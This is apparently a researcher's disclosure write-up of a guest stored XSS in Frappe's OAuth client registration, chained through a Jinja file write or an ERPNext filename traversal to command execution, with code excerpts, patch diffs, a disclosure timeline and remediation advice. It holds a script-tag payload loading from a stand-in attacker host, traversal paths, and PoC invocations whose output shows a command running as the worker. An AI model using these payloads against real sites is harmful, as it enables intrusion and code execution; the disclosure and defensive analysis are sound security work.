Guest Stored XSS and Safe-Jinja File Write to RCE in Frappe and ERPNext
TL;DR
- A guest registers an OAuth client whose name is a
<script>tag, which Frappe's sanitiser passes because it parses as JSON. - It runs in the session of whoever opens that link, the moment the consent page renders and before they click Allow.
- If that user is a Website Manager, the script writes a dynamic Web Page, and Frappe's safe Jinja gives the template the live request, so an upload saves to any path the worker can write.
- If they are a System Manager instead, it reaches the same write through ERPNext's Genericode importer, which passes a
../filename into Frappe's file writer. - Either route plants a page and a Python controller in an app's
wwwon a self-hosted Bench, and one GET runs a command as the Frappe worker. - Frappe 16.34.0 (15.121.0) closes the file write and the traversal, which has a critical advisory. The sanitiser bug is unfixed on every stable release. No CVE exists for any of the three.
Summary
- Product: Frappe Framework (
frappe/frappe) and ERPNext (frappe/erpnext) - Affected Versions: demonstrated on Frappe
16.29.0, with ERPNext16.30.0for the Genericode route - Required Privilege: None (unauthenticated Guest)
- Reported: July 29, 2026
Three separate root causes compose here. I reported them as FRAPPE-02, FRAPPE-03 and FRAPPE-04, which is how the PoC repo names its clients. None has a CVE, and the scores are standalone, so none of them carries the impact of the composition:
| Issue | Root cause | Reporter-assessed CVSS | Fixed in | Advisory |
|---|---|---|---|---|
| OAuth client XSS | sanitize_html() returns any JSON-parseable string unchanged | 9.3 (critical) | no stable release (fix in develop since August 17, backport deferred) | none |
| Genericode traversal | ERPNext's Genericode importer passes a raw multipart filename to Frappe's legacy file writer | 6.5 (medium) | 16.34.0 and 15.121.0 | GHSA-9pp9-wgp9-3p3j |
| Jinja file write | Safe Jinja receives the live Werkzeug request, exposing FileStorage.save() | 8.8 (high) | 16.33.1 and 15.120.1 (partial from 16.31.0 and 15.118.0) | none |
Introduction
[A]I was reviewing Frappe 16.29.0 for places where a logged-out visitor could store something that a logged-in user would later see. Frappe runs sanitize_html() on text fields when a document is saved, normally stripping a script tag before it reaches a template.
Dynamic OAuth client registration stores a guest-supplied client name. A quoted script tag survived the sanitiser and appeared on the authorisation page shown to logged-in users.
I then followed what a privileged browser session could reach through dynamic Web Pages and ERPNext's Genericode importer.
Chain Overview
Both routes start with the same guest registration and end in the same Jinja write. They differ only in which privileged user opens the link and how that user's session gets a template onto disk.
+---------------------------------+
| Guest registers an OAuth client |
| whose name is a <script> tag |
+---------------------------------+
|
+-------------------------------------------+
| A logged-in user opens the authorize URL |
| and the script runs in their session |
+-------------------------------------------+
|
+-----------------+-----------------+
| |
+-------------------------+ +-------------------------+
| Website Manager | | System Manager |
| creates a dynamic Web | | imports Genericode with |
| Page, which is itself | | a ../ filename that |
| the template | | plants the template |
+-------------------------+ +-------------------------+
| |
+-----------------+-----------------+
|
+-----------------------------------+
| The template calls |
| frappe.request.files[...].save() |
+-----------------------------------+
|
+---------------------------------------+
| .html page and .py controller land |
| in an installed app's www/ directory |
+---------------------------------------+
|
+-------------------------------------+
| GET /<route> imports the controller |
| and runs the command |
+-------------------------------------+
The OAuth client XSS runs in the privileged browser. A System Manager's session can use the Genericode traversal to put a template on disk. Both routes then reach the Jinja file write.
Root Cause Analysis
A JSON-Shaped Stored XSS in OAuth Registration
In the version under review, dynamic client registration was enabled by default. The registration method in frappe/integrations/oauth2.py accepted guest POST requests:
# frappe/integrations/oauth2.py
@frappe.whitelist(allow_guest=True, methods=["POST"]) # [1] Guest registration entry point.
def register_client():
After metadata validation, create_new_oauth_client() copied the submitted name into the OAuth Client document:
# frappe/integrations/utils.py
def create_new_oauth_client(client: OAuth2DynamicClientMetadata):
doc = cast(OAuthClient, frappe.get_doc({"doctype": "OAuth Client"}))
redirect_uris = [str(uri) for uri in client.redirect_uris]
doc.app_name = client.client_name # [2] Guest-controlled name becomes app_name.
# ... Other OAuth metadata omitted; it does not alter app_name.
doc.save(ignore_permissions=True) # [3] Persists the new client.
return doc
[1] accepts the unauthenticated request, [2] retains its name, and [3] passes the document through sanitisation.
In Frappe 16.29.0, sanitize_html() returned any JSON-shaped string unchanged:
# frappe/utils/html_utils.py
def sanitize_html(html, linkify=False, always_sanitize=False, disallowed_tags=None):
# ... Docstring, import, and non-string guard omitted.
if not always_sanitize:
if is_json(html):
return html # [4] Valid JSON bypasses HTML sanitisation.
if not bool(BeautifulSoup(html, "html.parser").find()):
return html
# ... HTML cleaning omitted; the early return above bypasses it.
def is_json(text):
try:
json.loads(text) # [5] Parsing success is the only JSON test.
except ValueError:
return False
else:
return True
The exemption at [4] only asks whether parsing at [5] succeeds. It does not ask whether the destination field is JSON. This quoted script tag survived unchanged:
"client_name": "\"<script src='https://attacker.example/payload.js'></script>\""
When a Desk User opened the authorisation URL, Frappe loaded the stored name at [6] and passed it to the confirmation template:
# frappe/integrations/oauth2.py
response_html_params = frappe._dict(
{
"client_id": frappe.db.get_value("OAuth Client", kwargs["client_id"], "app_name"), # [6] Reads the stored name.
"success_url": success_url,
"failure_url": failure_url,
"details": scopes,
"csrf_token": get_csrf_token(),
}
)
resp_html = frappe.render_template(
"templates/includes/oauth_confirmation.html", response_html_params
)
The template inserted it at [7]:
{# frappe/templates/includes/oauth_confirmation.html #}
<p>{{ _(client_id) }} {{ _("wants to access the following details from your account") }}</p> {# [7] Renders the stored name unescaped. #}
Frappe created this Jinja environment without HTML autoescaping. So the quoted value read at [6] became executable HTML at [7]. Rendering the page was enough. The victim did not need to click Allow.
A Filename Traversal in the Genericode Importer
Frappe's upload handler retained the raw multipart filename in request-local state. ERPNext's get_uploaded_genericode_file() and importer recovered it and passed it into the legacy file API:
# frappe/handler.py
def get_uploaded_genericode_file() -> tuple[bytes, str | None]:
uploaded_data = frappe.local.uploaded_file
file_name = frappe.local.uploaded_filename # [8] Recovers the raw filename.
if uploaded_data and file_name:
return uploaded_data, file_name
# ... Existing-file fallback omitted; a multipart upload returns above.
def import_genericode_content(
doctype: str,
docname: str | None,
content: bytes,
file_name: str | None,
):
# ... XML parsing and Code List save omitted; neither changes file_name.
file_doc = save_file(
fname=file_name, # [9] Passes it to the managed-file writer.
content=content,
dt=doctype,
dn=code_list.name,
is_private=1,
)
[8] keeps the path components from the upload. [9] hands them to Frappe after the XML has been parsed and the Code List saved. Stock permissions limit this route to System Manager or an equivalent custom role.
Frappe's save_file() and stock writer write the bytes before the later File document validates its resolved path:
# frappe/utils/file_manager.py
# ... Earlier save_file() logic omitted; the following lines are inside save_file().
write_file_method = get_hook_method("write_file", fallback=save_file_on_filesystem)
file_data = write_file_method(fname, content, content_type=content_type, is_private=is_private) # [10] Hands the raw name to the writer.
# ... File document construction and intervening helper functions omitted.
def write_file(content, fname, is_private=0):
"""write file to disk with a random name (to compare)"""
file_path = get_files_path(is_private=is_private)
# create directory (if not exists)
frappe.create_folder(file_path)
# write the file
if isinstance(content, str):
content = content.encode()
with open(os.path.join(file_path.encode("utf-8"), fname.encode("utf-8")), "wb+") as f: # [11] Joins it beneath the files directory.
f.write(content)
The selected writer receives the untrusted filename at [10]. The open() at [11] joins it beneath the private-files directory without reducing it to a basename or checking containment first. The later File validation can return HTTP 417 and roll back the database transaction, but the escaped file remains on disk.
The traversal creates a new file. Collision handling can append a content suffix for an existing name, so it cannot reliably overwrite every target.
A Write Capability in Safe Jinja
A Website Manager could reach the shared sink directly through a dynamic Web Page. WebPage.render_dynamic() sent author-controlled content to the sandboxed renderer:
# frappe/website/doctype/web_page/web_page.py
def render_dynamic(self, context):
# dynamic
is_jinja = (
context.dynamic_template
or "<!-- jinja -->" in context.main_section
or ("{{" in context.main_section)
)
if is_jinja:
frappe.flags.web_block_scripts = {}
frappe.flags.web_block_styles = {}
try:
context["main_section"] = render_template(context.main_section, context) # [12] Author content enters the sandbox.
The content entering at [12] received globals from safe_exec.py, including the live request:
# frappe/utils/safe_exec.py
out = NamespaceDict(
# ... Top-level helpers omitted.
frappe=NamespaceDict(
# ... Scalar helpers and read APIs omitted.
request=getattr(frappe.local, "request", {}), # [13] Live Werkzeug request.
session=frappe._dict(
user=user,
csrf_token=frappe.local.session.data.csrf_token
if getattr(frappe.local, "session", None) and getattr(frappe.local.session, "data", None)
else "",
),
# ... Remaining frappe globals omitted.
),
# ... Remaining top-level globals omitted.
),
[13] exposes multipart uploads as Werkzeug FileStorage objects through frappe.request.files.
Frappe's sandbox environment rejected a short attribute list, then delegated everything else to Jinja:
# frappe/utils/jinja.py
class FrappeSandboxedEnvironment(SandboxedEnvironment):
def is_safe_attribute(self, obj, attr, *args, **kwargs):
if attr in UNSAFE_ATTRIBUTES: # [14] Short attribute denylist.
return False
return super().is_safe_attribute(obj, attr, *args, **kwargs) # [15]
save was not rejected at [14], and the fallback at [15] regarded it as a normal public method. In the Werkzeug version pinned by Frappe 16.29.0, FileStorage.save() opened a string destination and copied the upload:
# src/werkzeug/datastructures/file_storage.py
if isinstance(dst, str):
dst = open(dst, "wb") # [16] Opens the template-selected path.
close_dst = True
try:
copyfileobj(self.stream, dst, buffer_size) # [17] Writes the uploaded bytes.
finally:
if close_dst:
dst.close()
This is intended Werkzeug behaviour. The unsafe boundary is Frappe giving the template that object. [16] opens the selected path and [17] writes the bytes.
The chain creates a fresh HTML page and colocated Python controller in a writable installed app. Frappe's file-backed page renderer discovers the HTML file, then imports the matching controller and calls get_context(). A fresh route avoids an existing page or module cache entry, so no worker restart was needed.
Impact
Both browser routes ran commands with the Frappe web process's operating-system permissions. They do not demonstrate root access, container escape, or exploitability where application code is read-only or storage is not shared with the serving worker.
Exploitation
Preconditions
Both routes require dynamic OAuth registration, a Desk User who opens the authorisation URL, no effective CSP blocking the stored script, and a browser-reachable attacker origin. Command execution also needs a known writable, importable installed-app www path shared with the serving worker.
The short route needs Website Manager or equivalent Web Page authoring permission. The ERPNext route needs System Manager or equivalent Code List import permission.
PoC
The OAuth Client XSS
The OAuth client XSS on its own needs no credentials. frappe02_oauth_stored_xss.py registers the client and prints the authorisation URL to send to a Desk User:
python3 frappe02_oauth_stored_xss.py --url https://frappe.example
_____ ____ _ ____ ____ _____
| ___| _ \ / \ | _ \| _ \| ____|
| |_ | |_) | / _ \ | |_) | |_) | _|
| _| | _ < / ___ \| __/| __/| |___
|_| |_| \_\/_/ \_\_| |_| |_____|
guest OAuth registration stored XSS · FRAPPE-02
discovered by CryptoCat · cryptocat.me
[*] registering a Guest OAuth client carrying the default alert payload
[+] registered OAuth client fra9a9g4l8
[*] send the authorize URL below to a logged-in Desk User; the payload runs
[*] when the consent page renders, before any Allow click
https://frappe.example/api/method/frappe.integrations.oauth2.authorize?client_id=fra9a9g4l8&scope=all&response_type=code&redirect_uri=https%3A%2F%2Fexample.invalid%2Ffrappe02-callback&state=r31pfu4M65OMYXn9sU6RiAMK
The default payload is alert(document.domain), which fires as soon as a logged-in user opens that URL:

The Genericode Traversal
The standalone Genericode traversal client, frappe03_genericode_file_create.py, needs an attacker-controlled System Manager account, or a custom role with permission to create the imported Code List. It passes attacker-supplied Genericode XML and the raw traversal destination to the real importer:
FRAPPE_POC_PASSWORD='account password' \
python3 frappe03_genericode_file_create.py \
--url https://frappe.example \
--username system-manager@example.net \
--remote-path '../../../../sites/assets/frappe03.xml' \
--xml-file payload.xml \
--retrieve-url /assets/frappe03.xml
[+] authenticated as system-manager@example.net
[*] server-side destination: ../../../../sites/assets/frappe03.xml
[*] uploading 281 attacker-supplied XML bytes
[!] the selected destination may create or overwrite server files
[!] Genericode import: HTTP 417 (4179 bytes)
------------------------------------------------------------
{"exception":"frappe.exceptions.ValidationError: Cannot access file path ./frappe.example/private/files/../../../../sites/assets/frappe03.xml", [... 4 KB traceback omitted ...]}
[!] HTTP 417 commonly follows the filesystem write when later File validation rejects the escaped path; the status alone does not prove the write
[*] reading the written file back through /assets/frappe03.xml
[+] recovered 281 bytes from the written file
------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<CodeList>
<Identification>
<ShortName>Country codes</ShortName>
<Version>1</Version>
<CanonicalUri>urn:example:country-codes</CanonicalUri>
</Identification>
<CanonicalVersionUri>urn:example:country-codes:1</CanonicalVersionUri>
</CodeList>
The 417 body is the File document rejecting a path that write_file() had already created, which is why the same bytes come straight back through /assets/. The chosen server path may create or overwrite files writable by the Frappe worker. Existing-name collision handling can instead select a suffixed name, so this is not reliable arbitrary overwrite of every target.
The Jinja File Write
The Jinja file write on its own needs a Website Manager. frappe04_safe_jinja_rce.py creates the staging page, writes the controller through the Jinja save() call and requests the planted route:
FRAPPE_POC_PASSWORD='account password' \
python3 frappe04_safe_jinja_rce.py \
--url https://frappe.example \
--username website-manager@example.net \
--www-path ../apps/custom_app/custom_app/www \
-c id
[+] authenticated as website-manager@example.net
[+] created staging Web Page 'frappe04-ba0281f64dcd978c90055dfd4127fa2a-stage'
[*] writing controller through the Jinja save() sink to /frappe04_ba0281f64dcd978c90055dfd4127fa2a_exec
[+] controller planted; requesting the execution route
[+] remote command exited with status 0
------------------------------------------------------------
uid=1000(frappe) gid=1000(frappe) groups=1000(frappe)
The Website Manager Chain
The short route, frappe02_04_browser_rce.py, does not need ERPNext. It hosts the payload, registers the client and waits for a Website Manager to open the URL:
python3 frappe02_04_browser_rce.py \
--url https://frappe.example \
--public-url https://attacker.example \
--www-path ../apps/custom_app/custom_app/www
[*] serving payload from https://attacker.example
[+] registered guest OAuth client ftkvaaee0f
[*] send this authorize URL to a Website Manager (no Allow click needed):
https://frappe.example/api/method/frappe.integrations.oauth2.authorize?client_id=ftkvaaee0f&scope=all&response_type=code&redirect_uri=https%3A%2F%2Fattacker.example%2Fn43UTB0bbybn9BNBwTDjxVp8%2Fcallback&state=g6MNeAt1FPxIIjORrKLGKK1M
[*] waiting up to 120s for the victim to open it
[+] browser loaded the payload from attacker.example
[+] browser completed the authenticated write
[+] browser stage complete; reading command output from the target
[+] remote command exited with status 0
------------------------------------------------------------
uid=1000(frappe) gid=1000(frappe) groups=1000(frappe)
The System Manager Chain
The three-stage route, frappe02_03_04_browser_rce.py, uses the ERPNext traversal and needs a System Manager instead:
python3 frappe02_03_04_browser_rce.py \
--url https://frappe.example \
--public-url https://attacker.example \
--www-path ../../../../apps/custom_app/custom_app/www
[*] serving payload from https://attacker.example
[+] registered guest OAuth client g0s5gqmuks
[*] send this authorize URL to a System Manager (no Allow click needed):
https://frappe.example/api/method/frappe.integrations.oauth2.authorize?client_id=g0s5gqmuks&scope=all&response_type=code&redirect_uri=https%3A%2F%2Fattacker.example%2FIyaBbeYOFWLk2S6aZIBZL3QY%2Fcallback&state=sBjKZn98cRB8J7zsYXS1WI0Y
[*] waiting up to 120s for the victim to open it
[+] browser loaded the payload from attacker.example
[+] browser completed the authenticated write
[+] browser stage complete; reading command output from the target
[+] remote command exited with status 0
------------------------------------------------------------
uid=1000(frappe) gid=1000(frappe) groups=1000(frappe)
Both chains generate fresh route names, run id by default, and print the command's exit status, stdout, and stderr. The authenticated browser performs the file writes, then the attacker-side client requests the planted route itself. Neither chain needs the victim's username, password, or session cookie.
Patch Diffing
The Sanitiser Exemption
PR #41626 removes the JSON exception from sanitize_html():
# frappe/utils/html_utils.py (sanitize_html)
if not always_sanitize:
- if is_json(html):
- return html
-
if not bool(BeautifulSoup(html, "html.parser").find()):
return html
The PR merged into develop on August 17, 2026, labelled defer backport and will-backport-to-16. On October 16, 2026 the exemption is still present in Frappe 16.52.0 and 15.123.1, the current releases on both stable lines, so every stable site still stores a JSON-shaped script unchanged. The PR description references an internal support ticket rather than this report, and it names no researcher.
Confining the File Writer
For seven weeks there was no public patch. Earlier in 2026, ERPNext tightened input sanitisation and the XML parser, restricted imports to files and trusted backend URLs, and changed a test titled check content, not filename. Those changes still passed the original filename to open().
On September 15, 2026, PR #42847 closed it from the Frappe side, and the backports shipped the same day in Frappe 16.34.0 and 15.121.0:
# frappe/utils/file_manager.py (write_file)
# create directory (if not exists)
frappe.create_folder(file_path)
+
+ # the target must resolve to a direct child of the files directory
+ if os.path.realpath(os.path.dirname(os.path.join(file_path, fname))) != os.path.realpath(file_path):
+ frappe.throw(_("Invalid file name"), title=_("Invalid Upload"))
+
# write the file
if isinstance(content, str):
content = content.encode()
The check resolves the directory the joined path would land in and requires it to be the files directory itself, so traversal, absolute paths and nested names are rejected before the open() at [11]. The PR body is empty, its tests name parent traversal and absolute paths directly, and nothing in it references this report.
Frappe said nothing on the report until October 8, three weeks after the fix shipped, when it confirmed the patch and said an advisory would follow. That advisory, GHSA-9pp9-wgp9-3p3j, went up on October 15, rated critical, for the same write_file() traversal, and credits me as a reporter.
ERPNext's importer still hands the raw multipart filename to save_file() in 16.50.0, and ERPNext 16.36.0 restricted import_genericode() to POST behind an explicit Code List permission check. The writer now rejects the path.
Removing the Request in Two Stages
PR #41648 removed request from render_safe_globals() and retained it in exec_safe_globals(). The version 15 and 16 backports shipped in v15.118.0 and v16.31.0, with credit to me in the PR description.
Which of those two global sets a template receives is chosen by configuration, and the default does not select the restricted one. is_render_exec_enabled() reads a missing key as 1 and negates it:
# frappe/utils/safe_exec.py
SAFE_EXEC_CONFIG_KEY = "server_script_enabled"
RENDER_EXEC_CONFIG_KEY = "disable_render_safe_exec"
def is_safe_exec_enabled() -> bool:
# server scripts can only be enabled via common_site_config.json
return bool(frappe.get_common_site_config(cached=True).get(SAFE_EXEC_CONFIG_KEY)) # [18] Opt-in, defaults off.
def is_render_exec_enabled() -> bool:
return not bool(frappe.get_common_site_config(cached=True).get(RENDER_EXEC_CONFIG_KEY, 1)) # [19] Absent key returns False.
WebPage.render_dynamic() calls render_template() without overriding the selector, so [19] decides. An absent key selects the unrestricted exec_safe_globals(), still reachable through the get_safe_globals alias. The configuration values produced these results:
unset: restricted=False, request_present=True
disable_render_safe_exec=1: restricted=False, request_present=True
disable_render_safe_exec=0: restricted=True, request_present=False
On a stock 16.31.0 site, the patch did not change the path described above. Setting disable_render_safe_exec=0 in common_site_config.json selected the reduced render globals and blocked the Jinja write. Both stable lines shipped with the same default.
[18] and [19] use different defaults. Server Scripts reach the same globals namespace, but Frappe gates them behind a dedicated Script Manager role and an administrator setting server_script_enabled, with a comment stating that is the only way to enable them. Web Page authoring reached that namespace with one stock role and no bench-level opt-in.
When I pointed out on August 6 that the patch left request in exec_safe_globals(), Frappe said that was intentional, because anyone reaching those globals was already a highly trusted user or developer. Website Manager is a trusted role that also owns Website Script, a doctype whose only field is site-wide javascript. The default also let that role reach host code execution through a Web Page template, without the server_script_enabled opt-in required for Server Scripts.
The selector came from PR #37924, the design overhaul that split the two global sets. Its description left open whether to enforce the safe path where expected rather than rely on configuration, specifically to minimise breakage. On August 6, Frappe said it would not publish an advisory while that overhaul was still being tested for breakages. So the 15.118.0 and 16.31.0 releases carried the patch without applying it to a stock site.
Four weeks later, on September 2, 2026, PR #42387 deleted request from exec_safe_globals() after all, with the one-line rationale that nobody most likely uses it:
# frappe/utils/safe_exec.py (exec_safe_globals)
render_template=frappe.render_template,
enqueue=safe_enqueue,
is_job_queued=is_job_queued,
- request=getattr(frappe.local, "request", {}),
)
)
The backports shipped on September 8 in Frappe 16.33.1 and 15.120.1. Nine days after the removal, PR #42748 put a request back into render_safe_globals() because breadcrumb rendering needed the path, but as a plain dictionary holding only that string:
# frappe/utils/safe_exec.py (render_safe_globals)
if getattr(frappe.local, "session", None) and getattr(frappe.local.session, "data", None)
else "",
),
+ request=frappe._dict(
+ path=frappe.local.request.path if getattr(frappe.local, "request", None) else "",
+ ),
make_get_request=make_safe_get_request,
socketio_port=frappe.conf.socketio_port,
sanitize_html=frappe.utils.sanitize_html,
That shipped a week later. From the September 8 releases onward, no template global set holds the Werkzeug object, whatever disable_render_safe_exec says. A Web Page template can no longer reach frappe.request.files or FileStorage.save().
Remediation
Upgrade to Frappe 16.34.0 or 15.121.0 or later. Those releases carry both the complete request removal and the file writer check, so neither browser route can reach a file write.
No stable release fixes the OAuth client XSS. Until the backport ships, sites that do not need RFC 7591 registration should untick Enable Dynamic Client Registration in OAuth Settings, which makes register_client() return 404 and removes the guest entry point for both routes. The fix itself needs plain-text validation and HTML escaping for OAuth client names, without a content-based JSON exemption.
Application source should also be read-only to the web process, with writable uploads kept outside importable code. That prevents the controller write needed for command execution on any patch level.
Disclosure Timeline
- July 29, 2026: Reported all three to
security@frappe.io, with the chain PoCs attached. - August 4, 2026: The OAuth client XSS was closed as a duplicate of a sanitiser issue Frappe was already tracking.
- August 6, 2026: PR #41648 merged for the Jinja file write, with credit to me. Frappe said there would be no advisory, asked for a month after deployment, and called the
requestleft inexec_safe_globals()intentional. - August 11, 2026: Frappe 15.118.0 and 16.31.0 shipped it, behind a configuration default that left the live request reachable.
- August 17, 2026: The sanitiser fix, PR #41626, merged into
developwith its backport deferred. - September 8, 2026: Frappe 16.33.1 and 15.120.1 removed the live
requestfrom every template global set, reversing the August 6 answer. - September 15, 2026: Frappe 16.34.0 and 15.121.0 confined
write_file()to the files directory, with no word on the traversal report. - October 8, 2026: Frappe confirmed the traversal fix and said an advisory would follow.
- October 15, 2026: Frappe published the advisory, GHSA-9pp9-wgp9-3p3j, rated critical, crediting me as a reporter.
- October 16, 2026: The sanitiser fix is still not in any stable release, and neither it nor the Jinja file write has an advisory or CVE.
Conclusion
The OAuth client XSS exposed a privileged browser session. The Genericode importer's XML checks did not constrain the filename, and safe Jinja exposed the live request and its upload save() method. Both routes could write a controller into a writable installed app.
Removing the live request from both template global sets closed the Jinja file write. Confining Frappe's file writer closed the Genericode traversal. The OAuth client XSS remains in stable releases, with its sanitiser fix still in develop. The traversal has a critical advisory. The other two have none.